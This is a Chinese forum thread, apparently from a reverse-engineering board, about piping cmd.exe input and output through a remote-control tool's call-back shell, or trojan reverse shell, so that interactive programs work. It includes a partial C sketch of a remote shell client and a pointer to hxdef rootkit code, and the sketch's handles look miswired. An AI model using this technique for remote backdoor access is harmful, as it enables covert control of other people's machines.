能力值:
( LV12,RANK:600 )
|
-
-
2 楼
popen
fgets
|
能力值:
( LV2,RANK:10 )
|
-
-
3 楼
谢谢Sysnap的回复
这个程序的功能是实现一个交互式的shell,但有些功能需要在一个shell进程里实现,所以popen在这里可能不适合。sorry,在帖子里没有说明。
|
能力值:
( LV2,RANK:10 )
|
-
-
4 楼
说实话,没看懂LZ的什么CMD又启动pipe的 = =#
我说一下我的拙见.
远程CMD的client端创建一个匿名管道,负责cmd.exe的stdin,stdout读写.
与server通信,将收到的命令写入管道,将读到的回显信息发送给server.
(这个过程中怎么会有子进程又子进程的...- -#鄙人愚钝..求点拨)
client大致流程(socket部分代码就不写了):
{
HANDLE hRead,hWrite;
SECURITY_ATTRIBUTES sa;
STARTUPINFO si;
PROCESS_INFORMATION pi;
char buff[1024];
DWORD readed;
sa.bInheritHandle = false;
sa.lpSecurityDescriptor = NULL;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
CreatePipe(&hRead,&hWrite,&sa,0);
GetStartupInfo(&si);
si.hStdInput = hWrite;
si.hStdOutput = hRead;
CreateProcess("c:\\windows\\system32\\cmd.exe",NULL,NULL,NULL,FALSE,NORMAL_PRIORITY_CLASS ,NULL,NULL,&si,&pi);
while(1){
do
{
ReadFile(hRead,buff,1024,&readed,NULL);
//printf("%s",buff);
向server发送buff内容();
}while(readed==1024);
//scanf("%s",buff);
等待server端指令(); //recv是阻塞函数
WriteFile(hWrite,buff,strlen(buff),&readed,NULL);
}
return 0;
}
|
能力值:
( LV2,RANK:10 )
|
-
-
5 楼
嗯,这个问题还是本人表述的不是十分清楚,大家可能不是很理解,说说思路和背景吧。
是这样的,有个以系统服务权限启动的远控,可以得到这个远控返回的shell(称其为SHELL_A)。现在需要通过这个SHELL_A启动另一个SHELL_B,以其他用户的身份完成一些事情。但是,通过这个远控得到的SHELL_A以CreateProcess方式启动cmd.exe经过单纯的shell是回不来的,所以想写个工具将另外cmd.exe的输入输出重定向到这个远控回连的SHELL_A。
pipe.exe的目的就是为了完成这个工作,但是通过远控测试发现执行pipe之后,新启动的cmd.exe的输出并没有被重定向到SHELL_A中。联想到回连shell的机制应该与pipe相同,故在本机执行pipe得到的shell中再次执行pipe,发生的现象与上面测试一致,所以推测可能是管道上产生的问题。
|
能力值:
( LV2,RANK:10 )
|
-
-
6 楼
楼主pm我个联系方式嘛,谢谢!
|
能力值:
( LV2,RANK:10 )
|
-
-
7 楼
可以参考hxdef100相关代码,直接是拷贝cmd屏幕的
|
能力值:
( LV3,RANK:20 )
|
-
-
8 楼
请问楼主这个问题解决了没有?
|
能力值:
( LV2,RANK:10 )
|
-
-
9 楼
我也想问问这个问题解决了没有,如何解决?最近遇到了类似的问题!
|
能力值:
( LV2,RANK:10 )
|
-
-
10 楼
|
能力值:
( LV2,RANK:10 )
|
-
-
11 楼
感谢lhjjx兄的回答。我使用了第一种方法的filtercmd。但是ftp还是无法交互。
在输入ftp命令后,tasklist显示ftp.exe打开,但是我这边无法输入命令了。怀疑是输入焦点转移到ftp.exe 上了。望解答。
如下图:
|
能力值:
( LV2,RANK:10 )
|
-
-
12 楼
自己改一个ftp.exe,在里面起一个线程定时调用fflush(),或者可以使用vb脚本模拟键盘输入操作ftp,命令写在txt里面,telnet和这个类似。
|
能力值:
( LV2,RANK:10 )
|
-
-
13 楼
感谢回答!
不光是ftp,还有ssh啥的。主要是要解决交互的问题。ftp只是个例子。
看来只能是先参考hxdef了
再次感谢lhjjx兄!
|
能力值:
( LV3,RANK:30 )
|
-
-
14 楼
有hxdef里面操作的源码吗 谢谢分享下
|
能力值:
( LV2,RANK:10 )
|
-
-
15 楼
楼主的意思是说木马反弹出来的cmd支持交互,像telnet,FTP之类的命令都可以用?那些不是通过管道读取数据的吗?
|
能力值:
( LV3,RANK:30 )
|
-
-
16 楼
ftp在读取用户的password的时候,是通过CreateFile($CONIN,......), ReadFile得到用户输入的,不是从管道里面读出的,所以一般交互的时候都卡在这里,问题是$CONIN这个句柄对应的输入不能通过WriteFile写入,谁有好的办法解决呢
|